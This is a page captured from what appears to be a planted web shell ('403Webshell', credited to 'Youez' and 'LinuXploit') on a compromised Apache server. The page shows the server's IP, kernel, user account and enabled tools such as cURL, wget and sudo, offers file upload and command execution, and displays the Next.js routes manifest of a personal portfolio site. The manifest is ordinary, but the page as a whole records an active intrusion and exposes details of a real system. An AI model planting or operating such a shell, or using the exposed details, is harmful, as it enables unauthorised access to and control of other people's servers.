403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/philiprehberger-nextjs/.next/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/philiprehberger-nextjs/.next/routes-manifest.json
{
  "version": 3,
  "pages404": true,
  "caseSensitive": false,
  "basePath": "",
  "redirects": [
    {
      "source": "/:path+/",
      "destination": "/:path+",
      "internal": true,
      "statusCode": 308,
      "regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
    }
  ],
  "headers": [
    {
      "source": "/:path*",
      "headers": [
        {
          "key": "X-DNS-Prefetch-Control",
          "value": "on"
        },
        {
          "key": "Strict-Transport-Security",
          "value": "max-age=63072000; includeSubDomains; preload"
        },
        {
          "key": "X-Frame-Options",
          "value": "SAMEORIGIN"
        },
        {
          "key": "X-Content-Type-Options",
          "value": "nosniff"
        },
        {
          "key": "Referrer-Policy",
          "value": "origin-when-cross-origin"
        },
        {
          "key": "Permissions-Policy",
          "value": "camera=(), microphone=(), geolocation=()"
        }
      ],
      "regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))?(?:/)?$"
    },
    {
      "source": "/images/:path*",
      "headers": [
        {
          "key": "Cache-Control",
          "value": "public, max-age=31536000, immutable"
        }
      ],
      "regex": "^/images(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))?(?:/)?$"
    },
    {
      "source": "/:path*.(ico|png|jpg|jpeg|gif|webp|svg|avif)",
      "headers": [
        {
          "key": "Cache-Control",
          "value": "public, max-age=31536000, immutable"
        }
      ],
      "regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))?(?:\\.(ico|png|jpg|jpeg|gif|webp|svg|avif))(?:/)?$"
    },
    {
      "source": "/:path*.(woff|woff2|ttf|otf)",
      "headers": [
        {
          "key": "Cache-Control",
          "value": "public, max-age=31536000, immutable"
        }
      ],
      "regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))?(?:\\.(woff|woff2|ttf|otf))(?:/)?$"
    }
  ],
  "rewrites": {
    "beforeFiles": [],
    "afterFiles": [],
    "fallback": []
  },
  "dynamicRoutes": [
    {
      "page": "/achievements/[slug]",
      "regex": "^/achievements/([^/]+?)(?:/)?$",
      "routeKeys": {
        "nxtPslug": "nxtPslug"
      },
      "namedRegex": "^/achievements/(?<nxtPslug>[^/]+?)(?:/)?$"
    },
    {
      "page": "/open-source-packages/[ecosystem]",
      "regex": "^/open\\-source\\-packages/([^/]+?)(?:/)?$",
      "routeKeys": {
        "nxtPecosystem": "nxtPecosystem"
      },
      "namedRegex": "^/open\\-source\\-packages/(?<nxtPecosystem>[^/]+?)(?:/)?$"
    },
    {
      "page": "/open-source-packages/[ecosystem]/[slug]",
      "regex": "^/open\\-source\\-packages/([^/]+?)/([^/]+?)(?:/)?$",
      "routeKeys": {
        "nxtPecosystem": "nxtPecosystem",
        "nxtPslug": "nxtPslug"
      },
      "namedRegex": "^/open\\-source\\-packages/(?<nxtPecosystem>[^/]+?)/(?<nxtPslug>[^/]+?)(?:/)?$"
    },
    {
      "page": "/portfolio/[slug]",
      "regex": "^/portfolio/([^/]+?)(?:/)?$",
      "routeKeys": {
        "nxtPslug": "nxtPslug"
      },
      "namedRegex": "^/portfolio/(?<nxtPslug>[^/]+?)(?:/)?$"
    }
  ],
  "staticRoutes": [
    {
      "page": "/",
      "regex": "^/(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/(?:/)?$"
    },
    {
      "page": "/_not-found",
      "regex": "^/_not\\-found(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/_not\\-found(?:/)?$"
    },
    {
      "page": "/about",
      "regex": "^/about(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/about(?:/)?$"
    },
    {
      "page": "/about/opengraph-image-17nj2n",
      "regex": "^/about/opengraph\\-image\\-17nj2n(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/about/opengraph\\-image\\-17nj2n(?:/)?$"
    },
    {
      "page": "/achievements",
      "regex": "^/achievements(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/achievements(?:/)?$"
    },
    {
      "page": "/achievements/opengraph-image-1b0uah",
      "regex": "^/achievements/opengraph\\-image\\-1b0uah(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/achievements/opengraph\\-image\\-1b0uah(?:/)?$"
    },
    {
      "page": "/book",
      "regex": "^/book(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/book(?:/)?$"
    },
    {
      "page": "/book/confirmation",
      "regex": "^/book/confirmation(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/book/confirmation(?:/)?$"
    },
    {
      "page": "/book/opengraph-image-vghjxa",
      "regex": "^/book/opengraph\\-image\\-vghjxa(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/book/opengraph\\-image\\-vghjxa(?:/)?$"
    },
    {
      "page": "/books",
      "regex": "^/books(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/books(?:/)?$"
    },
    {
      "page": "/books/opengraph-image-17oihx",
      "regex": "^/books/opengraph\\-image\\-17oihx(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/books/opengraph\\-image\\-17oihx(?:/)?$"
    },
    {
      "page": "/certifications",
      "regex": "^/certifications(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/certifications(?:/)?$"
    },
    {
      "page": "/certifications/opengraph-image-6e3e6i",
      "regex": "^/certifications/opengraph\\-image\\-6e3e6i(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/certifications/opengraph\\-image\\-6e3e6i(?:/)?$"
    },
    {
      "page": "/contact",
      "regex": "^/contact(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/contact(?:/)?$"
    },
    {
      "page": "/contact/opengraph-image-1y7lr6",
      "regex": "^/contact/opengraph\\-image\\-1y7lr6(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/contact/opengraph\\-image\\-1y7lr6(?:/)?$"
    },
    {
      "page": "/favicon.ico",
      "regex": "^/favicon\\.ico(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/favicon\\.ico(?:/)?$"
    },
    {
      "page": "/games",
      "regex": "^/games(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/games(?:/)?$"
    },
    {
      "page": "/games/chore-wars",
      "regex": "^/games/chore\\-wars(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/games/chore\\-wars(?:/)?$"
    },
    {
      "page": "/games/chore-wars/rules",
      "regex": "^/games/chore\\-wars/rules(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/games/chore\\-wars/rules(?:/)?$"
    },
    {
      "page": "/games/opengraph-image-17rqr7",
      "regex": "^/games/opengraph\\-image\\-17rqr7(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/games/opengraph\\-image\\-17rqr7(?:/)?$"
    },
    {
      "page": "/music",
      "regex": "^/music(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/music(?:/)?$"
    },
    {
      "page": "/music/opengraph-image-17weta",
      "regex": "^/music/opengraph\\-image\\-17weta(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/music/opengraph\\-image\\-17weta(?:/)?$"
    },
    {
      "page": "/open-source-packages",
      "regex": "^/open\\-source\\-packages(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/open\\-source\\-packages(?:/)?$"
    },
    {
      "page": "/open-source-packages/opengraph-image-m97jqn",
      "regex": "^/open\\-source\\-packages/opengraph\\-image\\-m97jqn(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/open\\-source\\-packages/opengraph\\-image\\-m97jqn(?:/)?$"
    },
    {
      "page": "/opengraph-image",
      "regex": "^/opengraph\\-image(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/opengraph\\-image(?:/)?$"
    },
    {
      "page": "/portfolio",
      "regex": "^/portfolio(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/portfolio(?:/)?$"
    },
    {
      "page": "/portfolio/elite-events-site/docs",
      "regex": "^/portfolio/elite\\-events\\-site/docs(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/portfolio/elite\\-events\\-site/docs(?:/)?$"
    },
    {
      "page": "/portfolio/opengraph-image-139mro",
      "regex": "^/portfolio/opengraph\\-image\\-139mro(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/portfolio/opengraph\\-image\\-139mro(?:/)?$"
    },
    {
      "page": "/portfolio/scopeforged-client-portal/docs",
      "regex": "^/portfolio/scopeforged\\-client\\-portal/docs(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/portfolio/scopeforged\\-client\\-portal/docs(?:/)?$"
    },
    {
      "page": "/robots.txt",
      "regex": "^/robots\\.txt(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/robots\\.txt(?:/)?$"
    },
    {
      "page": "/sitemap.xml",
      "regex": "^/sitemap\\.xml(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/sitemap\\.xml(?:/)?$"
    }
  ],
  "dataRoutes": [],
  "rsc": {
    "header": "rsc",
    "varyHeader": "rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch",
    "prefetchHeader": "next-router-prefetch",
    "didPostponeHeader": "x-nextjs-postponed",
    "contentTypeHeader": "text/x-component",
    "suffix": ".rsc",
    "prefetchSuffix": ".prefetch.rsc",
    "prefetchSegmentHeader": "next-router-segment-prefetch",
    "prefetchSegmentSuffix": ".segment.rsc",
    "prefetchSegmentDirSuffix": ".segments"
  },
  "rewriteHeaders": {
    "pathHeader": "x-nextjs-rewritten-path",
    "queryHeader": "x-nextjs-rewritten-query"
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit